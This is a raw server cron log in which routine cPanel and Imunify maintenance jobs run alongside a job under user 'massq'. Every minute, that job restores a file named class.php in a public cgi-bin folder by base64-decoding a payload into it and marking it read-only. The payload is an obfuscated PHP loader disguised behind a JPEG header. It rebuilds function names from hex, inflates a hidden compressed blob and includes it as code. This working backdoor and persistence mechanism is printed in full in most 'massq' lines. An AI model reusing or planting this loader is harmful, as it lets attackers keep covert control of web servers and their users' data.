Sep  5 05:48:01 server CROND[23859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:49:01 server CROND[24230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:49:01 server CROND[24232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:49:01 server CROND[24231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:50:01 server CROND[24609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:50:01 server CROND[24611]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:50:01 server CROND[24613]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:50:01 server CROND[24614]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:50:01 server CROND[24612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:50:01 server CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:50:01 server CROND[24618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:50:01 server CROND[24619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:50:01 server CROND[24615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:51:01 server CROND[25446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:51:01 server CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:51:01 server CROND[25448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:52:01 server CROND[25817]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  5 05:52:01 server CROND[25818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:52:01 server CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:52:01 server CROND[25819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:53:01 server CROND[26493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:53:01 server CROND[26494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:53:01 server CROND[26495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:54:01 server CROND[26859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:54:01 server CROND[26860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:54:01 server CROND[26861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:55:01 server CROND[27252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:55:01 server CROND[27253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:55:01 server CROND[27256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:55:01 server CROND[27262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:55:01 server CROND[27260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:55:01 server CROND[27261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:55:01 server CROND[27263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:56:01 server CROND[28091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:56:01 server CROND[28092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:56:01 server CROND[28093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:57:01 server CROND[28473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:57:01 server CROND[28475]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:57:01 server CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:57:01 server CROND[28476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:58:01 server CROND[28843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:58:01 server CROND[28844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:58:01 server CROND[28845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:59:01 server CROND[29306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:59:01 server CROND[29307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:59:01 server CROND[29308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:00:01 server CROND[29695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:00:01 server CROND[29709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:00:01 server CROND[29727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:00:01 server CROND[29728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
